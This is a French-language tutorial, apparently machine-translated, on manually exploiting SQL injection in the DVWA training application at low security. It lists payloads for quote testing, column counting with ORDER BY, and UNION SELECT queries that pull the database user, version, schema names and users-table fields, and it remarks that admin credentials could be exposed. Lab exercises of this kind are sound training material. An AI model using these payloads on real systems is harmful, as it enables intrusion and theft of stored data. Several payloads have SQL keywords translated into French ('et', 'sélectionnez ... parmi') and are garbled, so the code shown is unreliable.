Maison > Article > développement back-end > Injection manuelle DVWA de php+mysql
Le contenu de cet article concerne l'injection manuelle de php+mysql dans DVWA. Il a une certaine valeur de référence. Maintenant, je le partage avec tout le monde. Les amis dans le besoin peuvent s'y référer
Le niveau de sécurité dvwa est faible. Lorsque vous accédez à la page d'injection SQL, vous êtes invité à saisir l'identifiant utilisateur. Si vous saisissez l'identifiant correct, les informations sur le prénom et le nom de l'identifiant seront affichées.
Essayez de saisir "'" et une erreur est renvoyée. Des points d'injection existent.
Essayez de parcourir la table de la base de données, et la valeur d'entrée est ID. Il est initialement déterminé qu'il s'agit d'une injection de type numérique. Essayez de saisir : 1 ou 1=1, essayez de parcourir la table de la base de données. Le résultat a échoué.
1 ou 1=1 n'a pas réussi à parcourir la table de la base de données. Le programme de devinette a considéré cela comme un type de caractère. Vous pouvez essayer de saisir 1' ou '1'='1 puis parcourir tout le contenu de la base de données. Essayons de combiner différentes déclarations pour obtenir des résultats différents.
Utilisez l'instruction order by pour interroger, entrez 1' order by 1 - - La page s'affiche normalement, 1'order by 2 - - s'affiche normalement, 1'order by 3 - - une erreur est signalée et la valeur du résultat de la requête est considérée comme étant de 2 colonnes. (Notez qu'il y a un espace après - - dans la phrase, et il n'y a pas d'espace entre - -)
Utilisez les trois fonctions intégrées user(), database() et version() pour obtenir le nom du compte de base de données, le nom de la base de données et les informations sur la version de la base de données. Tout d'abord, l'injection de paramètres. 1' et 1=2 union select 1,2 - -(Il n'y a pas d'espace entre - - et il y a un espace après - -). On obtient que le prénom est affiché comme valeur de la première colonne du résultat de la requête, et le nom de famille est affiché comme valeur de la deuxième colonne du résultat de la requête.
Après avoir connu l'affichage, utilisez user(), base de données (),version(),statement 1' et 1=2 union select user(),database() - - Récupère l'utilisateur et le nom de la base de données. L'utilisateur qui crée un lien vers la base de données est root@localhost et le nom de la base de données est dvwa.
En injectant 1' et 1=2 version union select (),database() - - Obtenez la version de la base de données : 5.0.90-community-nt.
En injectant : 1'et 1=2 union, sélectionnez 1,@@global.version_compile_os depuis mysql.user –- obtenez l'opération Les informations système sont win32.
en injectant : 1' et 1=2 union select 1,schema_name from information_schema.schemata - - Interrogez la base de données MySQL, tous les noms de bases de données. La base de données mysql par défaut information_scehma est utilisée ici, qui stocke des informations sur toutes les bases de données et tables mysql.
En injectant 1' et existe (sélectionnez * parmi les utilisateurs) - - Devinez le nom de la table dans la base de données dvwa (le nom de la table dans cette instruction est utilisateurs, la table est pas réellement stocké Nom d'utilisateur et mot de passe)
Devinez le nom du champ : 1' et existe (sélectionnez le nom du champ dans le nom de la table) - -, ici les noms de champ prénom et nom de famille sont réellement testés. Les déclarations réelles 1' et existe (sélectionnez le prénom parmi les utilisateurs) - - et 1' et existe (sélectionnez le nom parmi les utilisateurs) - - devinez le nom du champ.
Exposer le contenu des champs dans la base de données. 1' et 1=2 union select first_name,last_name from users - - En fait, s'il s'agit d'une table qui stocke les comptes d'administrateur, alors le nom d'utilisateur et le mot de passe peuvent être révélés.
Code source
Recommandations associées :
Lire le code système DVWA config.inc.php
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!